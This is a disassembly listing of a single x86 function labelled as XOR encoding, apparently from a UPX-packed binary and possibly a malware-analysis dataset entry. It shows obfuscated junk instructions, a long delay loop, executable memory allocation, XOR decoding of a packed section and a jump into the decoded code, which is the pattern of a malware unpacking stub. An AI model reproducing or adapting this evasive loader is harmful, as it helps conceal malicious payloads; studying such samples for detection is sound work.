Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x833dcaa2
add esi, esi
sub ecx, esi
popal
and esi, ecx
sub esi, 0x184c069b
mov eax, 0
mov esi, edi
sub ebx, edx
add ebx, 1
sub ebx, edx
mov ecx, esi
mov edx, 0xe63115ef
sub edx, ebx
mov ebx, edx
mov edi, ecx
not ebx
or ebx, ebx
or ebx, edx
inc eax
inc ebx
add edx, 1
cmp eax, 0x1006bf6
jne 0xa789c4
mov edx, ebx
sub ebx, 0xdae1ee11
not ebx
mov esi, 0x714244fb
add ecx, 0x3a14b736
add esi, 0xb0731f62
mov edi, 0xa78796
dec eax
add eax, ebx
add eax, 1
mov edx, 0xa7898a
sub eax, 0x83f2c679
mov eax, 0x6cbd8f52
mov esi, dword [edi]
sub eax, 1
sub ebx, 0x20abd8ba
and esi, 0xff
add ecx, 0xf92493f8
mov ecx, 0xe36245f7
or ebx, ecx
xor dword [edx], esi
sub ecx, 0xb634679d
mov eax, 0xe74f71c1
add ebx, 1
add edx, 1
mov ebx, 0xe5895b4a
inc ecx
inc edi
inc eax
or ebx, ecx
cmp edx, entry0
jl 0xa78a30
and eax, eax
or ebx, ebx
or eax, ecx
sub ecx, 0xcefbf9fb
or ecx, ecx
and ecx, ecx
sub edi, edx
mov esi, edx
not esi
mov ebx, 0xa7898e
sub ecx, 0x8ab7bd26
sub ecx, esi
mov esi, ecx
mov ebx, dword [ebx]
sub ecx, edi
add edi, esi
mov ebx, dword [ebx]
inc ecx
sub ecx, 0x77915b15
and esi, edx
push ebx
or ecx, esi
mov ecx, edi
mov ebx, 0xa7898a
mov edi, 0x4a297a64
inc edx
mov ebx, dword [ebx]
and ecx, ecx
mov ecx, 0x334d0015
and ecx, esi
mov ebx, dword [ebx]
or ecx, esi
sub edx, edi
add edi, ecx
sub esp, 4
mov dword [esp], 0xa78992
not edx
mov edi, ecx
mov edi, ecx
call ebx
and edi, edi
sub edx, ecx
pop ebx
and ecx, ecx
dec edi
and edx, ecx
push 0xa7899f
dec edx
dec esi
inc edi
sub esp, 4
mov dword [esp], eax
and esi, edi
not esi
call ebx
add ecx, 0x3824fefa
mov ecx, edx
and edx, ecx
push 0x40
mov edi, 0xbf9afbf6
add esi, edx
not edx
push 0x3000
mov edi, ecx
add esi, 0x337eb3f3
push 0x20000727
sub edx, 0xf36979a4
and edx, edx
sub ecx, 0x231db20f
sub esp, 4
mov dword [esp], 0
add edx, esi
add esi, 0x44ae6c65
call eax
sub edi, 1
not ecx
and edi, edi
add eax, 0x200006a5
mov edi, 0xcaba187a
mov edx, 0x235dac79
mov ebx, 0x7898c2bd
sub edx, edi
inc edx
add esi, 0xa60243f9
mov dword [eax], ebx
mov edx, 0x5dd16899
add edx, 0x2dd6aea9
not edi
mov ebx, dword [eax]
add edx, esi
dec edi
cmp ebx, 0x7898c2bd
je 0xa78ba0
mov ecx, 0
mov dword [ecx], ebx
sub edx, 1
sub edx, edi
sub edi, ecx
mov esi, ecx
dec ecx
add esi, 1
not esi
mov ebx, section.UPX1
mov ecx, esi
sub esi, 0x5b72fcfd
sub ecx, esi
mov eax, 0xa78795
dec ecx
dec ecx
mov edi, 0
sub esi, 0x57350f6
sub ecx, esi
mov edx, 0xa78796
inc ecx
inc esi
lea edx, [edx + edi]
add esi, esi
and esi, esi
mov edx, dword [edx]
or esi, esi
sub esi, ecx
inc ecx
and edx, 0xff
mov ecx, esi
not esi
inc edi
or esi, esi
and esi, ecx
and esi, ecx
cmp edi, 0x1f4
jne 0xa78c0b
mov edi, 0
add ecx, esi
sub ecx, 0x8e15ba9d
dec ecx
sub ecx, 0xe4c20e0e
mov ecx, 0xffd52276
xor dword [ebx], edx
sub esi, ecx
add ecx, 0xe4fbe0a1
mov ecx, esi
add ebx, 2
or esi, esi
or esi, esi
cmp ebx, eax
jl 0xa78bd8
mov ecx, esi
and ecx, ecx
add esi, ecx
add esi, ecx
mov esi, section.UPX1
mov ecx, 0xf7c93142
not ebx
add ebx, ebx
mov edi, section.UPX1
not ebx
mov ebx, ecx
and ebx, ecx
mov eax, 0xa78795
add ebx, 0x44d1b134
and ecx, ecx
mov edx, 0
dec ecx
mov ecx, 0xe07b8b8e
and ebx, ecx
mov dl, byte [edi]
add ebx, ecx
mov ecx, 0xdae4b198
mov ecx, 0xd26d4dd1
mov byte [esi], dl
not ebx
mov ebx, 0x8975bb0a
inc esi
or ebx, ecx
add ecx, 0xa984ac3a
add edi, 2
dec ebx
mov ebx, 0x86f145bf
cmp edi, eax
jle 0xa78c78
inc ecx
or ebx, ecx
add ecx, 0x3e1afba1
not esi
or ecx, esi
sub esi, 0xaf901a9f
push 0x8dc6a0
dec esi
mov esi, 0x2410ebab
mov esi, 0x570fcac8
ret